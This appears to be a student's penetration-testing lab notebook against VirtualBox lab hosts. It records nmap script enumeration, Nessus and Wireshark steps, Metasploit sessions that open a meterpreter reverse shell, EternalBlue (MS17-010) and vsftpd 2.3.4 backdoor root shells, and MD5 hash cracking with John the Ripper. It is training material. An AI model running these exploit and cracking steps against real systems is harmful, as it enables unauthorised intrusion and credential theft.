┌──(root㉿mayur)-[/usr/share/nmap/scripts]
└─#
```

```
┌──(root㉿mayur)-[/usr/share/nmap/scripts]
└─# ls smtp-*
smtp-brute.nse      smtp-enum-users.nse  smtp-open-relay.nse   smtp-vuln-cve2010-4344.nse  smtp-vuln-cve2011-1764.nse
smtp-commands.nse   smtp-ntlm-info.nse   smtp-strangeport.nse  smtp-vuln-cve2011-1720.nse

┌──(root㉿mayur)-[/usr/share/nmap/scripts]
└─#
```

Command nmap –v –p 25 –script smtp-* Result:

```
┌──(root㉿mayur)-[/usr/share/nmap/scripts]
└─# nmap -v -p 25 --script smtp-* 192.168.0.118
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-05 03:34 EDT
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 03:34
Completed NSE at 03:34, 0.00s elapsed
Failed to resolve "smtp-commands.nse".
Failed to resolve "smtp-enum-users.nse".
Failed to resolve "smtp-ntlm-info.nse".
Failed to resolve "smtp-open-relay.nse".
Failed to resolve "smtp-strangeport.nse".
Failed to resolve "smtp-vuln-cve2010-4344.nse".
Failed to resolve "smtp-vuln-cve2011-1720.nse".
Failed to resolve "smtp-vuln-cve2011-1764.nse".
Initiating ARP Ping Scan at 03:34
Scanning 192.168.0.118 [1 port]
Completed ARP Ping Scan at 03:34, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 03:34
Completed Parallel DNS resolution of 1 host. at 03:34, 0.00s elapsed
Initiating SYN Stealth Scan at 03:34
Scanning 192.168.0.118 [1 port]
Discovered open port 25/tcp on 192.168.0.118
Completed SYN Stealth Scan at 03:34, 0.01s elapsed (1 total ports)
NSE: Script scanning 192.168.0.118.
```

Lab4 Perfrome SMB enumeration

Step1 start the kali linux machine and open nmap script

Command cd/usr/share/script

Step2 identify the command of SMB enumeration

Command: ls SMB-*

```
┌──(root㉿mayur)-[/usr/share/nmap/scripts]
└─# nmap -v -p 445 smb-* 192.168.0.118
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-05 03:33 EDT
Failed to resolve "smb-brute.nse".
Failed to resolve "smb-double-pulsar-backdoor.nse".
Failed to resolve "smb-enum-domains.nse".
Failed to resolve "smb-enum-groups.nse".
Failed to resolve "smb-enum-processes.nse".
Failed to resolve "smb-enum-services.nse".
Failed to resolve "smb-enum-sessions.nse".
Failed to resolve "smb-enum-shares.nse".
Failed to resolve "smb-enum-users.nse".
Failed to resolve "smb-flood.nse".
Failed to resolve "smb-ls.nse".
Failed to resolve "smb-mbenum.nse".
Failed to resolve "smb-os-discovery.nse".
Failed to resolve "smb-print-text.nse".
Failed to resolve "smb-protocols.nse".
Failed to resolve "smb-psexec.nse".
Failed to resolve "smb-security-mode.nse".
Failed to resolve "smb-server-stats.nse".
Failed to resolve "smb-system-info.nse".
Failed to resolve "smb-vuln-conficker.nse".
Failed to resolve "smb-vuln-cve-2017-7494.nse".
Failed to resolve "smb-vuln-cve2009-3103.nse".
```

```
Failed to resolve "smb-protocols.nse".
Failed to resolve "smb-psexec.nse".
Failed to resolve "smb-security-mode.nse".
Failed to resolve "smb-server-stats.nse".
Failed to resolve "smb-system-info.nse".
Failed to resolve "smb-vuln-conficker.nse".
Failed to resolve "smb-vuln-cve-2017-7494.nse".
Failed to resolve "smb-vuln-cve2009-3103.nse".
Failed to resolve "smb-vuln-ms06-025.nse".
Failed to resolve "smb-vuln-ms07-029.nse".
Failed to resolve "smb-vuln-ms08-067.nse".
Failed to resolve "smb-vuln-ms10-054.nse".
Failed to resolve "smb-vuln-ms10-061.nse".
Failed to resolve "smb-vuln-ms17-010.nse".
Failed to resolve "smb-vuln-regsvc-dos.nse".
Failed to resolve "smb-vuln-webexec.nse".
Failed to resolve "smb-webexec-exploit.nse".
NSE: Script Post-scanning.
Initiating NSE at 02:22
Completed NSE at 02:22, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.84 seconds
           Raw packets sent: 0 (0B) | Rcvd: 0 (0B)

┌──(root㉿mayur)-[/usr/share/nmap/scripts]
└─#
```

Lab5 performe the enumeration Linux/metasploitable

Step1 start the kali linux machine and scan the live target in network

```
└─$ sudo su
[sudo] password for mayur:
┌──(root㉿mayur)-[/home/mayur]
└─# nmap -v -sS 192.168.0.118
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-05 02:49 EDT
Initiating ARP Ping Scan at 02:49
Scanning 192.168.0.118 [1 port]
Completed ARP Ping Scan at 02:49, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 02:49
Completed Parallel DNS resolution of 1 host. at 02:49, 0.01s elapsed
Initiating SYN Stealth Scan at 02:49
Scanning 192.168.0.118 [1000 ports]
Discovered open port 139/tcp on 192.168.0.118
Discovered open port 23/tcp on 192.168.0.118
Discovered open port 111/tcp on 192.168.0.118
Discovered open port 53/tcp on 192.168.0.118
Discovered open port 5900/tcp on 192.168.0.118
Discovered open port 22/tcp on 192.168.0.118
Discovered open port 3306/tcp on 192.168.0.118
Discovered open port 25/tcp on 192.168.0.118
Discovered open port 445/tcp on 192.168.0.118
Discovered open port 80/tcp on 192.168.0.118
Discovered open port 21/tcp on 192.168.0.118
Discovered open port 513/tcp on 192.168.0.118
Discovered open port 512/tcp on 192.168.0.118
Discovered open port 5432/tcp on 192.168.0.118
```

```
Discovered open port 2121/tcp on 192.168.0.118
Discovered open port 2049/tcp on 192.168.0.118
Discovered open port 6000/tcp on 192.168.0.118
Discovered open port 1524/tcp on 192.168.0.118
Discovered open port 6667/tcp on 192.168.0.118
Completed SYN Stealth Scan at 02:49, 0.92s elapsed (1000 total ports)
Nmap scan report for 192.168.0.118
Host is up (0.0012s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
```

```
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
MAC Address: 08:00:27:37:3B:8C (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.11 seconds
           Raw packets sent: 1001 (44.028KB) | Rcvd: 1001 (40.120KB)

┌──(root㉿mayur)-[/home/mayur]
└─#
```

Step2 using nmap script engine

Command cd /usr/share/nmap/script

```
┌──(root㉿mayur)-[/home/mayur]
└─# cd /usr/share/nmap/scripts

┌──(root㉿mayur)-[/usr/share/nmap/scripts]
└─# ls
acarsd-info.nse                  http-hp-ilo-info.nse                 nrpe-enum.nse
address-info.nse                 http-huawei-hg5xx-vuln.nse           ntp-info.nse
afp-brute.nse                    http-icloud-findmyiphone.nse         ntp-monlist.nse
afp-ls.nse                       http-icloud-sendmsg.nse              omp2-brute.nse
afp-path-vuln.nse                http-iis-short-name-brute.nse        omp2-enum-targets.nse
afp-serverinfo.nse               http-iis-webdav-vuln.nse             omron-info.nse
afp-showmount.nse                http-internal-ip-disclosure.nse      openflow-info.nse
ajp-auth.nse                     http-joomla-brute.nse                openlookup-info.nse
ajp-brute.nse                    http-jsonp-detection.nse             openvas-otp-brute.nse
ajp-headers.nse                  http-litespeed-sourcecode-download.nse openwebnet-discovery.nse
ajp-methods.nse                  http-ls.nse                          oracle-brute-stealth.nse
ajp-request.nse                  http-majordomo2-dir-traversal.nse    oracle-brute.nse
allseeingeye-info.nse            http-malware-host.nse                oracle-enum-users.nse
amqp-info.nse                    http-mcmp.nse                        oracle-sid-brute.nse
asn-query.nse                    http-method-tamper.nse               oracle-tns-version.nse
auth-owners.nse                  http-methods.nse                     ovs-agent-version.nse
auth-spoof.nse                   http-mobileversion-checker.nse       p2p-conficker.nse
backorifice-brute.nse            http-ntlm-info.nse                   path-mtu.nse
backorifice-info.nse             http-open-proxy.nse                  pcanywhere-brute.nse
bacnet-info.nse                  http-open-redirect.nse               pcworx-info.nse
```

Step3 select the enumeration of the port FTP

```
┌──(mayur㉿mayur)-[~]
└─$ sudo su
[sudo] password for mayur:
┌──(root㉿mayur)-[/home/mayur]
└─# cd /usr/share/nmap/scripts

┌──(root㉿mayur)-[/usr/share/nmap/scripts]
└─# ls ftp-*
ftp-anon.nse    ftp-brute.nse    ftp-proftpd-backdoor.nse  ftp-vsftpd-backdoor.nse
ftp-bounce.nse  ftp-libopie.nse  ftp-syst.nse              ftp-vuln-cve2010-4221.nse

┌──(root㉿mayur)-[/usr/share/nmap/scripts]
└─#
```

Command: nmap –v –p 21 –script ftp-* Result:

```
┌──(root㉿mayur)-[/usr/share/nmap/scripts]
└─# nmap -v -p 21 -script ftp-* 192.168.0.118
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-05 03:31 EDT
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 03:31
Completed NSE at 03:31, 0.00s elapsed
Failed to resolve "ftp-bounce.nse".
Failed to resolve "ftp-brute.nse".
Failed to resolve "ftp-libopie.nse".
Failed to resolve "ftp-proftpd-backdoor.nse".
Failed to resolve "ftp-syst.nse".
Failed to resolve "ftp-vsftpd-backdoor.nse".
Failed to resolve "ftp-vuln-cve2010-4221.nse".
Initiating ARP Ping Scan at 03:31
Scanning 192.168.0.118 [1 port]
Completed ARP Ping Scan at 03:31, 0.19s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 03:31
Completed Parallel DNS resolution of 1 host. at 03:31, 0.01s elapsed
Initiating SYN Stealth Scan at 03:31
Scanning 192.168.0.118 [1 port]
Discovered open port 21/tcp on 192.168.0.118
Completed SYN Stealth Scan at 03:31, 0.02s elapsed (1 total ports)
NSE: Script scanning 192.168.0.118.
Initiating NSE at 03:31
```

Lab5 Enumeration in 3rd protocol

DNS 51

Step1 start the kali linux machine go to nmap

Command: nmap –v –p 51 –script dns-* 192.168.139.45

```
┌──(root㉿mayur)-[/usr/share/nmap/scripts]
└─# nmap -v -p 51 --script dns-* 192.168.139.45
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-06 05:47 EDT
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 05:47
Completed NSE at 05:47, 0.00s elapsed
Failed to resolve "dns-brute.nse".
Failed to resolve "dns-cache-snoop.nse".
Failed to resolve "dns-check-zone.nse".
Failed to resolve "dns-client-subnet-scan.nse".
Failed to resolve "dns-fuzz.nse".
Failed to resolve "dns-ip6-arpa-scan.nse".
Failed to resolve "dns-nsec-enum.nse".
Failed to resolve "dns-nsec3-enum.nse".
Failed to resolve "dns-nsid.nse".
Failed to resolve "dns-random-srcport.nse".
Failed to resolve "dns-random-txid.nse".
Failed to resolve "dns-recursion.nse".
Failed to resolve "dns-service-discovery.nse".
Failed to resolve "dns-srv-enum.nse".
Failed to resolve "dns-update.nse".
Failed to resolve "dns-zeustracker.nse".
Failed to resolve "dns-zone-transfer.nse".
Initiating ARP Ping Scan at 05:47
```

Lab6 Enumeration in 4rd protocol http 80

Step1 start the kali linux machine go to nmap

Command nmap –v –p 80 –script http-* 192.168.39.45

```
┌──(root㉿mayur)-[/usr/share/nmap/scripts]
└─# nmap -v -p 80 --script http-* 192.168.139.45
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-06 05:54 EDT
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 05:54
Completed NSE at 05:54, 0.00s elapsed
Failed to resolve "http-affiliate-id.nse".
Failed to resolve "http-apache-negotiation.nse".
Failed to resolve "http-apache-server-status.nse".
Failed to resolve "http-aspnet-debug.nse".
Failed to resolve "http-auth-finder.nse".
Failed to resolve "http-auth.nse".
Failed to resolve "http-avaya-ipoffice-users.nse".
Failed to resolve "http-awstatstotals-exec.nse".
Failed to resolve "http-axis2-dir-traversal.nse".
Failed to resolve "http-backup-finder.nse".
Failed to resolve "http-barracuda-dir-traversal.nse".
Failed to resolve "http-bigip-cookie.nse".
Failed to resolve "http-brute.nse".
Failed to resolve "http-cakephp-version.nse".
Failed to resolve "http-chrono.nse".
Failed to resolve "http-cisco-anyconnect.nse".
Failed to resolve "http-coldfusion-subzero.nse".
Failed to resolve "http-comments-displayer.nse".
```

```
Completed ARP Ping Scan at 05:54, 0.08s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 05:54
Completed Parallel DNS resolution of 1 host. at 05:54, 0.04s elapsed
Initiating SYN Stealth Scan at 05:54
Scanning 192.168.139.45 [1 port]
Discovered open port 80/tcp on 192.168.139.45
Completed SYN Stealth Scan at 05:54, 0.02s elapsed (1 total ports)
NSE: Script scanning 192.168.139.45.
Initiating NSE at 05:54
Completed NSE at 05:54, 0.61s elapsed
Nmap scan report for 192.168.139.45
Host is up (0.00093s latency).

PORT   STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:37:3B:8C (Oracle VirtualBox virtual NIC)

NSE: Script Post-scanning.
Initiating NSE at 05:54
Completed NSE at 05:54, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 5.78 seconds
           Raw packets sent: 2 (72B) | Rcvd: 2 (72B)

┌──(root㉿mayur)-[/usr/share/nmap/scripts]
└─#
```

Lab 7Enumeration in 5th protocol Rpc 111

Command nmap –v –p 111 –script rpc-* 192.168.139.45

```
┌──(root㉿mayur)-[/usr/share/nmap/scripts]
└─# ls rpc-*
rpc-grind.nse

┌──(root㉿mayur)-[/usr/share/nmap/scripts]
└─#
```

```
┌──(root㉿mayur)-[/usr/share/nmap/scripts]
└─# nmap -v -p 111 -script rpc-* 192.168.139.45
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-06 06:01 EDT
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 06:01
Completed NSE at 06:01, 0.00s elapsed
Initiating ARP Ping Scan at 06:01
Scanning 192.168.139.45 [1 port]
Completed ARP Ping Scan at 06:01, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 06:01
Completed Parallel DNS resolution of 1 host. at 06:01, 0.01s elapsed
Initiating SYN Stealth Scan at 06:01
Scanning 192.168.139.45 [1 port]
Discovered open port 111/tcp on 192.168.139.45
Completed SYN Stealth Scan at 06:01, 0.01s elapsed (1 total ports)
NSE: Script scanning 192.168.139.45.
Initiating NSE at 06:01
Completed NSE at 06:01, 0.06s elapsed
Nmap scan report for 192.168.139.45
Host is up (0.0017s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
MAC Address: 08:00:27:37:3B:8C (Oracle VirtualBox virtual NIC)
```


```
Completed ARP Ping Scan at 06:01, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 06:01
Completed Parallel DNS resolution of 1 host. at 06:01, 0.01s elapsed
Initiating SYN Stealth Scan at 06:01
Scanning 192.168.139.45 [1 port]
Discovered open port 111/tcp on 192.168.139.45
Completed SYN Stealth Scan at 06:01, 0.01s elapsed (1 total ports)
NSE: Script scanning 192.168.139.45.
Initiating NSE at 06:01
Completed NSE at 06:01, 0.06s elapsed
Nmap scan report for 192.168.139.45
Host is up (0.0017s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
MAC Address: 08:00:27:37:3B:8C (Oracle VirtualBox virtual NIC)
```


```
NSE: Script Post-scanning.
Initiating NSE at 06:01
Completed NSE at 06:01, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds
           Raw packets sent: 2 (72B) | Rcvd: 2 (72B)

┌──(root㉿mayur)-[/usr/share/nmap/scripts]
└─#
```

Task 4 sniff the network

Lab 1 Try to Capture HTTP Traffic Using wireshark

Step1 select the web site Testfire.net

Login the web site

Step2 on the wireshark capture the request

Step3 apply the filter

Step4 select the packet and click on write click

Step5 select the option http steram Result:

Task 5 vulnerability Assessment Using nessus:

Run nessus in windows

Click on basic network scan

Add information about the network ip and click on add file

Click on launch to check vulnerabilities

Here we see the start scanning

Scan complete click on info to get info about vulnerabilities

Task 6 windows Exploitation lab 1 try to gain access to windows using remote shell

Step1 start the nmap scan the network

Step2 start the msfconsole

Step3 go to msfconsole

Set payload windows/x64/meterpreter/reverse_tcp

```
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) >
```

```
msf6 exploit(multi/handler) > show option
[-] Invalid parameter "option", use "show -h" for more information
msf6 exploit(multi/handler) > show options

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) >
```

```
msf6 exploit(multi/handler) > set lhost 192.168.139.46
lhost => 192.168.139.46
msf6 exploit(multi/handler) > show option
[-] Invalid parameter "option", use "show -h" for more information
msf6 exploit(multi/handler) > show options

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.139.46   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.139.46:4444
shell
```

```
shell
[*] Sending stage (203846 bytes) to 192.168.139.254
s[*] Meterpreter session 1 opened (192.168.139.46:4444 → 192.168.139.254:53761) at 2025-08-06 17:46:53 +0530

meterpreter > shell
heProcess 26828 created.
Channel 1 created.
llMicrosoft Windows [Version 10.0.26100.4770]
(c) Microsoft Corporation. All rights reserved.

C:\Users\anike\Downloads>
C:\Users\anike\Downloads>
C:\Users\anike\Downloads>
C:\Users\anike\Downloads>
C:\Users\anike\Downloads>
C:\Users\anike\Downloads>
C:\Users\anike\Downloads>
C:\Users\anike\Downloads>
C:\Users\anike\Downloads>shell
'shell' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\anike\Downloads>
C:\Users\anike\Downloads>
C:\Users\anike\Downloads>
```

Lab2 identify local remote exploit to gain access to windows system

Step1 start the msfconsole

File Actions Edit View Help
┌──(root㉿vbox)-[/home/mayur]
└─# msfconsole
Metasploit tip: You can upgrade a shell to a Meterpreter session on many
platforms using sessions -u <session_id>

File Actions Edit View Help
+ -- --=[1471 payloads - 49 encoders - 11 nops]
+ -- --=[9 evasion]
Metasploit Documentation: https://docs.metasploit.com/
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show target
[-] Invalid parameter "target", use "show -h" for more information
msf6 exploit(windows/smb/ms17_010_eternalblue) > show targets
Exploit targets:
Id Name
-- ----
⇒ 0 Automatic Target
1 Windows 7
2 Windows Embedded Standard 7
3 Windows Server 2008 R2
4 Windows 8
5 Windows 8.1
6 Windows Server 2012
7 Windows 10 Pro
8 Windows 10 Enterprise Evaluation
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):

File Actions Edit View Help
Name Current Setting Required Description
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7 target machines.
VERIFY_TARGET true yes ploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows achines.
Copy Selection Ctrl+Shift+C
Paste Clipboard Ctrl+Shift+V
Paste Selection Shift+Ins
Zoom in Ctrl++
Zoom out Ctrl+-
Zoom reset Ctrl+0
Clear Active Terminal
Split Terminal Horizontally Ctrl+Shift+D
Split Terminal Vertically Ctrl+Shift+R
Collapse Subterminal Ctrl+Shift+E
Toggle Menu Ctrl+Shift+M
Hide Window Borders
Preferences...
Payload options (windows/x64/meterpreter/rev
Name Current Setting Required Desc
EXITFUNC thread yes Exit thread, process, none)
LHOST 192.168.139.46 yes The ay be specified)
LPORT 4444 yes The
Exploit target:
Id Name
0 Automatic Target

Result:

File Actions Edit View Help
View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.139.91
rhost => 192.168.139.91
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.139.46:4444
[*] 192.168.139.91:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.139.91:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7601 Service Pack 1 x64 (64-bit)
shell
[*] 192.168.139.91:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.139.91:445 - The target is vulnerable.
[*] 192.168.139.91:445 - Connecting to target for exploitation.
[+] 192.168.139.91:445 - Connection established for exploitation.
[+] 192.168.139.91:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.139.91:445 - CORE raw buffer dump (40 bytes)
[*] 192.168.139.91:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 48 6f 6d 65 20 42 Windows 7 Home B
[*] 192.168.139.91:445 - 0x00000010 61 73 69 63 20 37 36 30 31 20 53 65 72 76 69 63 asic 7601 Servic
[*] 192.168.139.91:445 - 0x00000020 65 20 50 61 63 6b 20 31 e Pack 1
[+] 192.168.139.91:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.139.91:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.139.91:445 - Sending all but last fragment of exploit packet
[*] 192.168.139.91:445 - Starting non-paged pool grooming
[+] 192.168.139.91:445 - Sending SMBv2 buffers
[+] 192.168.139.91:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.139.91:445 - Sending final SMBv2 buffers.
[*] 192.168.139.91:445 - Sending last fragment of exploit packet!
[*] 192.168.139.91:445 - Receiving response from exploit packet

Task7 Linux exploitation

Lab1 identify local /remote exploit to gain root access

Step1 start the msfconsole

```
┌──(root㉿vbox)-[/home/mayur]
└─# msfconsole
Metasploit tip: When in a module, use back to go back to the top level
prompt

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-._|_.-'

I love shells --egypt


       =[ metasploit v6.4.34-dev                          ]
+ -- --=[ 2461 exploits - 1267 auxiliary - 431 post       ]
+ -- --=[ 1471 payloads - 49 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

```
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show option
[-] Invalid parameter "option", use "show -h" for more information
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show targets

Exploit targets:
================

    Id  Name
```

```
Exploit targets:
=================

    Id  Name
    --  ----
=>  0   Automatic

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.
```

```
View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.139.45
rhost => 192.168.139.45
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.139.45   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
```

```
[+] 192.168.139.45:21 - Banner: 220 (vsFTPd 2.3.4)
[+] 192.168.139.45:21 - USER: 331 Please specify the password.
[+] 192.168.139.45:21 - Backdoor service has been spawned, handling...
[+] 192.168.139.45:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.139.46:39031 -> 192.168.139.45:6200) at 2025-08-06 18:35:42 +0530


shell
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash


root@metasploitable:/#

root@metasploitable:/# ifconfig
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:37:3b:8c
          inet addr:192.168.139.45  Bcast:192.168.139.255  Mask:255.255.255.0
          inet6 addr: 2409:40c2:104f:6d42:a00:27ff:fe37:3b8c/64 Scope:Global
          inet6 addr: fe80::a00:27ff:fe37:3b8c/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1588 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1422 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:112855 (110.2 KB)  TX bytes:136950 (133.7 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
```

Task7 extract the use account incomplete

Lab 1 extract the password hashes

```
┌──(root㉿vbox)-[/home/mayur]
└─# cat passwordfile
admin
12345
user


┌──(root㉿vbox)-[/home/mayur]
└─#
```

```
┌──(root㉿vbox)-[/home/mayur]
└─# cat hash2.txt

21232f297a57a5a743894a0e4a801fc3
e10adc3949ba59abbe56e057f20f883e
ee11cbb19052e40b07aac0ca060c23ee

┌──(root㉿vbox)-[/home/mayur]
└─#
```

Lab2 Crack the password hashes

Step1 select the password hash

```
┌──(root㉿vbox)-[/home/mayur]
└─# echo " 200~899186f7879ef9f1cf011b415f548c03 " > hash2.txt

┌──(root㉿vbox)-[/home/mayur]
└─# cat hash2.txt
 200~899186f7879ef9f1cf011b415f548c03

┌──(root㉿vbox)-[/home/mayur]
└─#
```

Step2 crack the hash using john the ripper

```
Use --help to list all available options.

┌──(root㉿vbox)-[/home/mayur]
└─# john --list=formats | grep -i md5
414 formats (149 dynamic formats shown as just "dynamic_n" here)
descrypt, bsdicrypt, md5crypt, md5crypt-long, bcrypt, scrypt, LM, AFS,
aix-ssha512, andOTP, ansible, argon2, as400-des, as400-ssha1, asa-md5,
django-scrypt, dmd5, dmg, dominosec, dominosec8, DPAPImk, dragonfly3-32,
mscash2, MSCHAPv2, mschapv2-naive, krb5pa-md5, mssql, mssql05, mssql12,
net-md5, netntlmv2, netntlm, netntlm-naive, net-sha1, nk, notes, md5ns,
Padlock, Palshop, Panama, PBKDF2-HMAC-MD4, PBKDF2-HMAC-MD5, PBKDF2-HMAC-SHA1,
pgpwde, phpass, PHPS, PHPS2, pix-md5, PKZIP, po, postgres, PST, PuTTY,
Raw-Blake2, Raw-Keccak, Raw-Keccak-256, Raw-MD4, Raw-MD5, Raw-MD5u, Raw-SHA1,
solarwinds, SSH, sspr, STRIP, SunMD5, SybaseASE, Sybase-PROP, tacacs-plus,
tcp-md5, telegram, tezos, Tiger, tc_aes_xts, tc_ripemd160, tc_ripemd160boot,
ZIP, ZipMonster, plaintext, has-160, HMAC-MD5, HMAC-SHA1, HMAC-SHA224,

┌──(root㉿vbox)-[/home/mayur]
└─#
```

Command john -- format=RAW-MD5 hash2.txt –
